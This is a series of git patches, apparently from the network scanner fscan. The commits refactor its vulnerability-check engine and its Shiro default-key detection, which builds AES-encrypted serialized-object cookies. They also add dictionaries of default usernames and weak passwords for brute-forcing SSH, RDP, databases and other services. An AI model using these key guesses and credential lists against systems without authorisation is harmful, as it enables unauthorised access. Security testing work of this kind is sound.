} else { - setMap = append(setMap, StrItem{item.Key, ""}) + value = item.Value[0] } + setMap = append(setMap, StrItem{item.Key, value}) } - c.UpdateCompileOptions(setMap) + config.UpdateCompileOptions(setMap) } - env, err := NewEnv(&c) + + // 创建执行环境 + env, err := NewEnv(&config) if err != nil { - fmt.Printf("[-] %s environment creation error: %s\n", p.Name, err) - return false, err, "" + return false, fmt.Errorf("[-] 创建%s的执行环境失败: %v", p.Name, err), "" } + + // 解析请求 req, err := ParseRequest(oReq) if err != nil { - fmt.Printf("[-] %s ParseRequest error: %s\n", p.Name, err) - return false, err, "" + return false, fmt.Errorf("[-] 解析%s的请求失败: %v", p.Name, err), "" } + + // 初始化变量映射 variableMap := make(map[string]interface{}) defer func() { variableMap = nil }() variableMap["request"] = req + + // 处理设置项 for _, item := range p.Set { - k, expression := item.Key, item.Value + key, expression := item.Key, item.Value if expression == "newReverse()" { if !Common.DnsLog { return false, nil, "" } - variableMap[k] = newReverse() + variableMap[key] = newReverse() continue } - err, _ = evalset(env, variableMap, k, expression) - if err != nil { - fmt.Printf("[-] %s evalset error: %v\n", p.Name, err) + if err, _ = evalset(env, variableMap, key, expression); err != nil { + Common.LogError(fmt.Sprintf("[-] 执行%s的设置项失败: %v", p.Name, err)) } } - success := false - //爆破模式,比如tomcat弱口令 + + // 处理爆破模式 if len(p.Sets) > 0 { - success, err = clusterpoc(oReq, p, variableMap, req, env) - return success, nil, "" + success, err := clusterpoc(oReq, p, variableMap, req, env) + return success, err, "" } + // 处理单个规则的函数 DealWithRule := func(rule Rules) (bool, error) { Headers := cloneMap(rule.Headers) - var ( - flag, ok bool - ) - for k1, v1 := range variableMap { - _, isMap := v1.(map[string]string) - if isMap { + + // 替换变量 + for varName, varValue := range variableMap { + if _, isMap := varValue.(map[string]string); isMap { continue } - value := fmt.Sprintf("%v", v1) - for k2, v2 := range Headers { - if !strings.Contains(v2, "{{"+k1+"}}") { - continue + strValue := fmt.Sprintf("%v", varValue) + + // 替换Header中的变量 + for headerKey, headerValue := range Headers { + if strings.Contains(headerValue, "{{"+varName+"}}") { + Headers[headerKey] = strings.ReplaceAll(headerValue, "{{"+varName+"}}", strValue) } - Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) } - rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value) - rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value) + + // 替换Path和Body中的变量 + rule.Path = strings.ReplaceAll(rule.Path, "{{"+varName+"}}", strValue) + rule.Body = strings.ReplaceAll(rule.Body, "{{"+varName+"}}", strValue) } + // 构建请求路径 if oReq.URL.Path != "" && oReq.URL.Path != "/" { req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) } else { req.Url.Path = rule.Path } - // 某些poc没有区分path和query,需要处理 req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") - newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body)) + // 创建新的请求 + newRequest, err := http.NewRequest( + rule.Method, + fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), + strings.NewReader(rule.Body), + ) if err != nil { - //fmt.Println("[-] newRequest error: ",err) - return false, err + return false, fmt.Errorf("创建新请求失败: %v", err) } + + // 设置请求头 newRequest.Header = oReq.Header.Clone() for k, v := range Headers { newRequest.Header.Set(k, v) } Headers = nil + + // 发送请求 resp, err := DoRequest(newRequest, rule.FollowRedirects) newRequest = nil if err != nil { return false, err } + variableMap["response"] = resp - // 先判断响应页面是否匹配search规则 + + // 执行搜索规则 if rule.Search != "" { result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) - if len(result) > 0 { // 正则匹配成功 - for k, v := range result { - variableMap[k] = v - } - } else { + if len(result) == 0 { return false, nil } + for k, v := range result { + variableMap[k] = v + } } + + // 执行表达式 out, err := Evaluate(env, rule.Expression, variableMap) if err != nil { return false, err } - //如果false不继续执行后续rule - // 如果最后一步执行失败,就算前面成功了最终依旧是失败 - flag, ok = out.Value().(bool) - if !ok { - flag = false + + if flag, ok := out.Value().(bool); ok { + return flag, nil } - return flag, nil + return false, nil } + // 处理规则组的函数 DealWithRules := func(rules []Rules) bool { - successFlag := false for _, rule := range rules { flag, err := DealWithRule(rule) - if err != nil || !flag { //如果false不继续执行后续rule - successFlag = false // 如果其中一步为flag,则直接break - break + if err != nil || !flag { + return false } - successFlag = true } - return successFlag + return true } + // 执行检测规则 + success := false if len(p.Rules) > 0 { success = DealWithRules(p.Rules) } else { for _, item := range p.Groups { name, rules := item.Key, item.Value - success = DealWithRules(rules) - if success { - return success, nil, name + if success = DealWithRules(rules); success { + return true, nil, name } } } @@ -198,18 +243,25 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { return success, nil, "" } +// doSearch 在响应体中执行正则匹配并提取命名捕获组 func doSearch(re string, body string) map[string]string { + // 编译正则表达式 r, err := regexp.Compile(re) if err != nil { - fmt.Println("[-] regexp.Compile error: ", err) + Common.LogError(fmt.Sprintf("正则表达式编译失败: %v", err)) return nil } + + // 执行正则匹配 result := r.FindStringSubmatch(body) names := r.SubexpNames() + + // 处理匹配结果 if len(result) > 1 && len(names) > 1 { paramsMap := make(map[string]string) for i, name := range names { if i > 0 && i <= len(result) { + // 特殊处理Cookie头 if strings.HasPrefix(re, "Set-Cookie:") && strings.Contains(name, "cookie") { paramsMap[name] = optimizeCookies(result[i]) } else { @@ -222,36 +274,61 @@ func doSearch(re string, body string) map[string]string { return nil } -func optimizeCookies(rawCookie string) (output string) { - // Parse the cookies - parsedCookie := strings.Split(rawCookie, "; ") - for _, c := range parsedCookie { - nameVal := strings.Split(c, "=") - if len(nameVal) >= 2 { - switch strings.ToLower(nameVal[0]) { - case "expires", "max-age", "path", "domain", "version", "comment", "secure", "samesite", "httponly": - continue - } - output += fmt.Sprintf("%s=%s; ", nameVal[0], strings.Join(nameVal[1:], "=")) +// optimizeCookies 优化Cookie字符串,移除不必要的属性 +func optimizeCookies(rawCookie string) string { + var output strings.Builder + + // 解析Cookie键值对 + pairs := strings.Split(rawCookie, "; ") + for _, pair := range pairs { + nameVal := strings.SplitN(pair, "=", 2) + if len(nameVal) < 2 { + continue } + + // 跳过Cookie属性 + switch strings.ToLower(nameVal[0]) { + case "expires", "max-age", "path", "domain", + "version", "comment", "secure", "samesite", "httponly": + continue + } + + // 构建Cookie键值对 + if output.Len() > 0 { + output.WriteString("; ") + } + output.WriteString(nameVal[0]) + output.WriteString("=") + output.WriteString(strings.Join(nameVal[1:], "=")) } - return + return output.String() } +// newReverse 创建新的反连检测对象 func newReverse() *Reverse { + // 检查DNS日志功能是否启用 if !Common.DnsLog { return &Reverse{} } - letters := "1234567890abcdefghijklmnopqrstuvwxyz" + + // 生成随机子域名 + const ( + letters = "1234567890abcdefghijklmnopqrstuvwxyz" + subdomainLength = 8 + ) randSource := rand.New(rand.NewSource(time.Now().UnixNano())) - sub := RandomStr(randSource, letters, 8) - //if true { - // //默认不开启dns解析 - // return &Reverse{} - //} - urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain) - u, _ := url.Parse(urlStr) + subdomain := RandomStr(randSource, letters, subdomainLength) + + // 构建URL + urlStr := fmt.Sprintf("http://%s.%s", subdomain, ceyeDomain) + u, err := url.Parse(urlStr) + if err != nil { + Common.LogError(fmt.Sprintf("解析反连URL失败: %v", err)) + return &Reverse{} + } + + // 返回反连检测配置 return &Reverse{ Url: urlStr, Domain: u.Hostname(), @@ -260,270 +337,368 @@ func newReverse() *Reverse { } } +// clusterpoc 执行集群POC检测,支持批量参数组合测试 func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) { - var strMap StrMap - var tmpnum int - for i, rule := range p.Rules { + var strMap StrMap // 存储成功的参数组合 + var shiroKeyCount int // shiro key测试计数 + + // 遍历POC规则 + for ruleIndex, rule := range p.Rules { + // 检查是否需要进行参数Fuzz测试 if !isFuzz(rule, p.Sets) { + // 不需要Fuzz,直接发送请求 success, err = clustersend(oReq, variableMap, req, env, rule) if err != nil { return false, err } - if success { - continue - } else { + if !success { return false, err } + continue } + + // 生成参数组合 setsMap := Combo(p.Sets) - ruleHash := make(map[string]struct{}) - look: - for j, item := range setsMap { - //shiro默认只跑10key - if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && j >= 10 { - if item[1] == "cbc" { + ruleHash := make(map[string]struct{}) // 用于去重的规则哈希表 + + // 遍历参数组合 + paramLoop: + for comboIndex, paramCombo := range setsMap { + // Shiro Key测试特殊处理:默认只测试10个key + if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && comboIndex >= 10 { + if paramCombo[1] == "cbc" { continue } else { - if tmpnum == 0 { - tmpnum = j + if shiroKeyCount == 0 { + shiroKeyCount = comboIndex } - if j-tmpnum >= 10 { + if comboIndex-shiroKeyCount >= 10 { break } } } - rule1 := cloneRules(rule) - var flag1 bool - var tmpMap StrMap - var payloads = make(map[string]interface{}) - var tmpexpression string - for i, one := range p.Sets { - key, expression := one.Key, item[i] + + // 克隆规则以避免相互影响 + currentRule := cloneRules(rule) + var hasReplacement bool + var currentParams StrMap + payloads := make(map[string]interface{}) + var payloadExpr string + + // 计算所有参数的实际值 + for i, set := range p.Sets { + key, expr := set.Key, paramCombo[i] if key == "payload" { - tmpexpression = expression + payloadExpr = expr } - _, output := evalset1(env, variableMap, key, expression) + _, output := evalset1(env, variableMap, key, expr) payloads[key] = output } - for _, one := range p.Sets { - flag := false - key := one.Key + + // 替换规则中的参数 + for _, set := range p.Sets { + paramReplaced := false + key := set.Key value := fmt.Sprintf("%v", payloads[key]) - for k2, v2 := range rule1.Headers { - if strings.Contains(v2, "{{"+key+"}}") { - rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value) - flag = true + + // 替换Header中的参数 + for headerKey, headerVal := range currentRule.Headers { + if strings.Contains(headerVal, "{{"+key+"}}") { + currentRule.Headers[headerKey] = strings.ReplaceAll(headerVal, "{{"+key+"}}", value) + paramReplaced = true } } - if strings.Contains(rule1.Path, "{{"+key+"}}") { - rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value) - flag = true + + // 替换Path中的参数 + if strings.Contains(currentRule.Path, "{{"+key+"}}") { + currentRule.Path = strings.ReplaceAll(currentRule.Path, "{{"+key+"}}", value) + paramReplaced = true } - if strings.Contains(rule1.Body, "{{"+key+"}}") { - rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value) - flag = true + + // 替换Body中的参数 + if strings.Contains(currentRule.Body, "{{"+key+"}}") { + currentRule.Body = strings.ReplaceAll(currentRule.Body, "{{"+key+"}}", value) + paramReplaced = true } - if flag { - flag1 = true + + // 记录替换的参数 + if paramReplaced { + hasReplacement = true if key == "payload" { - var flag2 bool - for k, v := range variableMap { - if strings.Contains(tmpexpression, k) { - flag2 = true - tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)}) + // 处理payload的特殊情况 + hasVarInPayload := false + for varKey, varVal := range variableMap { + if strings.Contains(payloadExpr, varKey) { + hasVarInPayload = true + currentParams = append(currentParams, StrItem{varKey, fmt.Sprintf("%v", varVal)}) } } - if flag2 { + if hasVarInPayload { continue } } - tmpMap = append(tmpMap, StrItem{key, value}) + currentParams = append(currentParams, StrItem{key, value}) } } - if !flag1 { + + // 如果没有参数被替换,跳过当前组合 + if !hasReplacement { continue } - has := md5.Sum([]byte(fmt.Sprintf("%v", rule1))) - md5str := fmt.Sprintf("%x", has) - if _, ok := ruleHash[md5str]; ok { + + // 规则去重 + ruleDigest := md5.Sum([]byte(fmt.Sprintf("%v", currentRule))) + ruleMD5 := fmt.Sprintf("%x", ruleDigest) + if _, exists := ruleHash[ruleMD5]; exists { continue } - ruleHash[md5str] = struct{}{} - success, err = clustersend(oReq, variableMap, req, env, rule1) + ruleHash[ruleMD5] = struct{}{} + + // 发送请求并处理结果 + success, err = clustersend(oReq, variableMap, req, env, currentRule) if err != nil { return false, err } + if success { - if rule.Continue { + // 处理成功情况 + if currentRule.Continue { + // 特殊POC的输出处理 if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { - Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) + Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s", + req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) } else { - Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) + Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", + req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, currentParams)) } continue } - strMap = append(strMap, tmpMap...) - if i == len(p.Rules)-1 { - Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) - //防止后续继续打印poc成功信息 + + // 记录成功的参数组合 + strMap = append(strMap, currentParams...) + if ruleIndex == len(p.Rules)-1 { + Common.LogSuccess(fmt.Sprintf("[+] 检测到漏洞 %s://%s%s %s 参数:%v", + req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) return false, nil } - break look + break paramLoop } } + if !success { break } if rule.Continue { - //防止后续继续打印poc成功信息 return false, nil } } + return success, nil } +// isFuzz 检查规则是否包含需要Fuzz测试的参数 func isFuzz(rule Rules, Sets ListMap) bool { - for _, one := range Sets { - key := one.Key - for _, v := range rule.Headers { - if strings.Contains(v, "{{"+key+"}}") { + // 遍历所有参数 + for _, param := range Sets { + key := param.Key + paramPattern := "{{" + key + "}}" + + // 检查Headers中是否包含参数 + for _, headerValue := range rule.Headers { + if strings.Contains(headerValue, paramPattern) { return true } } - if strings.Contains(rule.Path, "{{"+key+"}}") { + + // 检查Path中是否包含参数 + if strings.Contains(rule.Path, paramPattern) { return true } - if strings.Contains(rule.Body, "{{"+key+"}}") { + + // 检查Body中是否包含参数 + if strings.Contains(rule.Body, paramPattern) { return true } } return false } -func Combo(input ListMap) (output [][]string) { - if len(input) > 1 { - output = Combo(input[1:]) - output = MakeData(output, input[0].Value) - } else { - for _, i := range input[0].Value { - output = append(output, []string{i}) - } +// Combo 生成参数组合 +func Combo(input ListMap) [][]string { + if len(input) == 0 { + return nil } - return + + // 处理只有一个参数的情况 + if len(input) == 1 { + output := make([][]string, 0, len(input[0].Value)) + for _, value := range input[0].Value { + output = append(output, []string{value}) + } + return output + } + + // 递归处理多个参数的情况 + subCombos := Combo(input[1:]) + return MakeData(subCombos, input[0].Value) } -func MakeData(base [][]string, nextData []string) (output [][]string) { - for i := range base { - for _, j := range nextData { - output = append(output, append([]string{j}, base[i]...)) +// MakeData 将新的参数值与已有的组合进行组合 +func MakeData(base [][]string, nextData []string) [][]string { + // 预分配足够的空间 + output := make([][]string, 0, len(base)*len(nextData)) + + // 遍历已有组合和新参数值 + for _, existingCombo := range base { + for _, newValue := range nextData { + // 创建新组合 + newCombo := make([]string, 0, len(existingCombo)+1) + newCombo = append(newCombo, newValue) + newCombo = append(newCombo, existingCombo...) + output = append(output, newCombo) } } - return + + return output } +// clustersend 执行单个规则的HTTP请求和响应检测 func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) { - for k1, v1 := range variableMap { - _, isMap := v1.(map[string]string) - if isMap { + // 替换请求中的变量 + for varName, varValue := range variableMap { + // 跳过map类型的变量 + if _, isMap := varValue.(map[string]string); isMap { continue } - value := fmt.Sprintf("%v", v1) - for k2, v2 := range rule.Headers { - if strings.Contains(v2, "{{"+k1+"}}") { - rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value) + + strValue := fmt.Sprintf("%v", varValue) + varPattern := "{{" + varName + "}}" + + // 替换Headers中的变量 + for headerKey, headerValue := range rule.Headers { + if strings.Contains(headerValue, varPattern) { + rule.Headers[headerKey] = strings.ReplaceAll(headerValue, varPattern, strValue) } } - rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value) - rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value) + + // 替换Path和Body中的变量 + rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), varPattern, strValue) + rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), varPattern, strValue) } + + // 构建完整请求路径 if oReq.URL.Path != "" && oReq.URL.Path != "/" { req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path) } else { req.Url.Path = rule.Path } - // 某些poc没有区分path和query,需要处理 + + // URL编码处理 req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20") - //req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20") - // - newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body)) + + // 创建新的HTTP请求 + reqURL := fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path) + newRequest, err := http.NewRequest(rule.Method, reqURL, strings.NewReader(rule.Body)) if err != nil { - //fmt.Println("[-] newRequest error:",err) - return false, err + return false, fmt.Errorf("[-] 创建HTTP请求失败: %v", err) } + defer func() { newRequest = nil }() // 及时释放资源 + + // 设置请求头 newRequest.Header = oReq.Header.Clone() - for k, v := range rule.Headers { - newRequest.Header.Set(k, v) + for key, value := range rule.Headers { + newRequest.Header.Set(key, value) } + + // 发送请求 resp, err := DoRequest(newRequest, rule.FollowRedirects) - newRequest = nil if err != nil { - return false, err + return false, fmt.Errorf("[-] 发送请求失败: %v", err) } + + // 更新响应到变量映射 variableMap["response"] = resp - // 先判断响应页面是否匹配search规则 + + // 执行搜索规则 if rule.Search != "" { - result := doSearch(rule.Search, GetHeader(resp.Headers)+string(resp.Body)) - if result != nil && len(result) > 0 { // 正则匹配成功 - for k, v := range result { - variableMap[k] = v + searchContent := GetHeader(resp.Headers) + string(resp.Body) + result := doSearch(rule.Search, searchContent) + + if result != nil && len(result) > 0 { + // 将搜索结果添加到变量映射 + for key, value := range result { + variableMap[key] = value } - //return false, nil } else { return false, nil } } + + // 执行CEL表达式 out, err := Evaluate(env, rule.Expression, variableMap) if err != nil { if strings.Contains(err.Error(), "Syntax error") { - fmt.Println(rule.Expression, err) + Common.LogError(fmt.Sprintf("[-] CEL表达式语法错误 [%s]: %v", rule.Expression, err)) } return false, err } - //fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName())) - if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule - return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败 + + // 检查表达式执行结果 + if fmt.Sprintf("%v", out) == "false" { + return false, nil } - return true, err + + return true, nil } +// cloneRules 深度复制Rules结构体 +// 参数: +// - tags: 原始Rules结构体 +// 返回: 复制后的新Rules结构体 func cloneRules(tags Rules) Rules { - cloneTags := Rules{} - cloneTags.Method = tags.Method - cloneTags.Path = tags.Path - cloneTags.Body = tags.Body - cloneTags.Search = tags.Search - cloneTags.FollowRedirects = tags.FollowRedirects - cloneTags.Expression = tags.Expression - cloneTags.Headers = cloneMap(tags.Headers) - return cloneTags + return Rules{ + Method: tags.Method, + Path: tags.Path, + Body: tags.Body, + Search: tags.Search, + FollowRedirects: tags.FollowRedirects, + Expression: tags.Expression, + Headers: cloneMap(tags.Headers), + } } +// cloneMap 深度复制字符串映射 func cloneMap(tags map[string]string) map[string]string { - cloneTags := make(map[string]string) - for k, v := range tags { - cloneTags[k] = v + cloneTags := make(map[string]string, len(tags)) + for key, value := range tags { + cloneTags[key] = value } return cloneTags } -func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) { +// evalset 执行CEL表达式并处理特殊类型结果 +func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) { out, err := Evaluate(env, expression, variableMap) if err != nil { variableMap[k] = expression - } else { - switch value := out.Value().(type) { - case *UrlType: - variableMap[k] = UrlTypeToString(value) - case int64: - variableMap[k] = int(value) - default: - variableMap[k] = fmt.Sprintf("%v", out) - } + return err, expression } - return err, fmt.Sprintf("%v", variableMap[k]) + + // 根据不同类型处理输出 + switch value := out.Value().(type) { + case *UrlType: + variableMap[k] = UrlTypeToString(value) + case int64: + variableMap[k] = int(value) + default: + variableMap[k] = fmt.Sprintf("%v", out) + } + + return nil, fmt.Sprintf("%v", variableMap[k]) } -func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) { +// evalset1 执行CEL表达式的简化版本 +func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (error, string) { out, err := Evaluate(env, expression, variableMap) if err != nil { variableMap[k] = expression @@ -533,6 +708,7 @@ func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expres return err, fmt.Sprintf("%v", variableMap[k]) } +// CheckInfoPoc 检查POC信息并返回别名 func CheckInfoPoc(infostr string) string { for _, poc := range info.PocDatas { if strings.Contains(infostr, poc.Name) { @@ -542,11 +718,12 @@ func CheckInfoPoc(infostr string) string { return "" } -func GetHeader(header map[string]string) (output string) { +// GetHeader 将HTTP头转换为字符串格式 +func GetHeader(header map[string]string) string { + var builder strings.Builder for name, values := range header { - line := fmt.Sprintf("%s: %s\n", name, values) - output = output + line + builder.WriteString(fmt.Sprintf("%s: %s\n", name, values)) } - output = output + "\r\n" - return + builder.WriteString("\r\n") + return builder.String() } From 2ce84dc517a65527ab1774f01f0ff268e3a0191b Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:50:05 +0800 Subject: [PATCH 42/80] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Shiro.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- WebScan/lib/Shiro.go | 69 +++++++++++++++++++++++++++++++------------- 1 file changed, 49 insertions(+), 20 deletions(-) diff --git a/WebScan/lib/Shiro.go b/WebScan/lib/Shiro.go index 4e3503d..ce24978 100644 --- a/WebScan/lib/Shiro.go +++ b/WebScan/lib/Shiro.go @@ -12,62 +12,91 @@ import ( ) var ( + // CheckContent 是经过base64编码的Shiro序列化对象 CheckContent = "rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==" - Content, _ = base64.StdEncoding.DecodeString(CheckContent) + // Content 是解码后的原始内容 + Content, _ = base64.StdEncoding.DecodeString(CheckContent) ) +// Padding 对明文进行PKCS7填充 func Padding(plainText []byte, blockSize int) []byte { - //计算要填充的长度 - n := (blockSize - len(plainText)%blockSize) - //对原来的明文填充n个n - temp := bytes.Repeat([]byte{byte(n)}, n) - plainText = append(plainText, temp...) - return plainText + // 计算需要填充的长度 + paddingLength := blockSize - len(plainText)%blockSize + + // 使用paddingLength个paddingLength值进行填充 + paddingText := bytes.Repeat([]byte{byte(paddingLength)}, paddingLength) + + return append(plainText, paddingText...) } +// GetShrioCookie 获取加密后的Shiro Cookie值 func GetShrioCookie(key, mode string) string { if mode == "gcm" { return AES_GCM_Encrypt(key) - } else { - //cbc - return AES_CBC_Encrypt(key) } + return AES_CBC_Encrypt(key) } -//AES CBC加密后的payload +// AES_CBC_Encrypt 使用AES-CBC模式加密 func AES_CBC_Encrypt(shirokey string) string { + // 解码密钥 key, err := base64.StdEncoding.DecodeString(shirokey) if err != nil { return "" } + + // 创建AES加密器 block, err := aes.NewCipher(key) if err != nil { return "" } - Content = Padding(Content, block.BlockSize()) - iv := uuid.NewV4().Bytes() //指定初始向量vi,长度和block的块尺寸一致 - blockMode := cipher.NewCBCEncrypter(block, iv) //指定CBC分组模式,返回一个BlockMode接口对象 - cipherText := make([]byte, len(Content)) - blockMode.CryptBlocks(cipherText, Content) //加密数据 - return base64.StdEncoding.EncodeToString(append(iv[:], cipherText[:]...)) + + // PKCS7填充 + paddedContent := Padding(Content, block.BlockSize()) + + // 生成随机IV + iv := uuid.NewV4().Bytes() + + // 创建CBC加密器 + blockMode := cipher.NewCBCEncrypter(block, iv) + + // 加密数据 + cipherText := make([]byte, len(paddedContent)) + blockMode.CryptBlocks(cipherText, paddedContent) + + // 拼接IV和密文并base64编码 + return base64.StdEncoding.EncodeToString(append(iv, cipherText...)) } -//AES GCM 加密后的payload shiro 1.4.2版本更换为了AES-GCM加密方式 +// AES_GCM_Encrypt 使用AES-GCM模式加密(Shiro 1.4.2+) func AES_GCM_Encrypt(shirokey string) string { + // 解码密钥 key, err := base64.StdEncoding.DecodeString(shirokey) if err != nil { return "" } + + // 创建AES加密器 block, err := aes.NewCipher(key) if err != nil { return "" } + + // 生成16字节随机数作为nonce nonce := make([]byte, 16) - _, err = io.ReadFull(rand.Reader, nonce) + if _, err := io.ReadFull(rand.Reader, nonce); err != nil { + return "" + } + + // 创建GCM加密器 + aesgcm, err := cipher.NewGCMWithNonceSize(block, 16) if err != nil { return "" } - aesgcm, _ := cipher.NewGCMWithNonceSize(block, 16) + + // 加密数据 ciphertext := aesgcm.Seal(nil, nonce, Content, nil) + + // 拼接nonce和密文并base64编码 return base64.StdEncoding.EncodeToString(append(nonce, ciphertext...)) } From 38ea172e268907ac364c20cc99bbe77a0304e3bd Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Thu, 19 Dec 2024 14:52:11 +0800 Subject: [PATCH 43/80] =?UTF-8?q?refacor:=20=E5=A4=A7=E5=B0=8F=E5=86=99?= =?UTF-8?q?=E6=95=8F=E6=84=9F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Config.go | 107 +++++++++++++ Common/Flag.go | 94 +++++++++++ Common/Log.go | 172 ++++++++++++++++++++ Common/Proxy.go | 78 +++++++++ Plugins/FcgiScan.go | 376 ++++++++++++++++++++++++++++++++++++++++++++ 5 files changed, 827 insertions(+) create mode 100644 Common/Config.go create mode 100644 Common/Flag.go create mode 100644 Common/Log.go create mode 100644 Common/Proxy.go create mode 100644 Plugins/FcgiScan.go diff --git a/Common/Config.go b/Common/Config.go new file mode 100644 index 0000000..6dd46ae --- /dev/null +++ b/Common/Config.go @@ -0,0 +1,107 @@ +package Common + +var version = "1.8.4" +var Userdict = map[string][]string{ + "ftp": {"ftp", "admin", "www", "web", "root", "db", "wwwroot", "data"}, + "mysql": {"root", "mysql"}, + "mssql": {"sa", "sql"}, + "smb": {"administrator", "admin", "guest"}, + "rdp": {"administrator", "admin", "guest"}, + "postgresql": {"postgres", "admin"}, + "ssh": {"root", "admin"}, + "mongodb": {"root", "admin"}, + "oracle": {"sys", "system", "admin", "test", "web", "orcl"}, +} + +var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789"} + +var PortGroup = map[string]string{ + "ftp": "21", + "ssh": "22", + "findnet": "135", + "netbios": "139", + "smb": "445", + "mssql": "1433", + "oracle": "1521", + "mysql": "3306", + "rdp": "3389", + "psql": "5432", + "redis": "6379", + "fcgi": "9000", + "mem": "11211", + "mgo": "27017", + "ms17010": "445", + "cve20200796": "445", + "service": "21,22,135,139,445,1433,1521,3306,3389,5432,6379,9000,11211,27017", + "db": "1433,1521,3306,5432,6379,11211,27017", + "web": 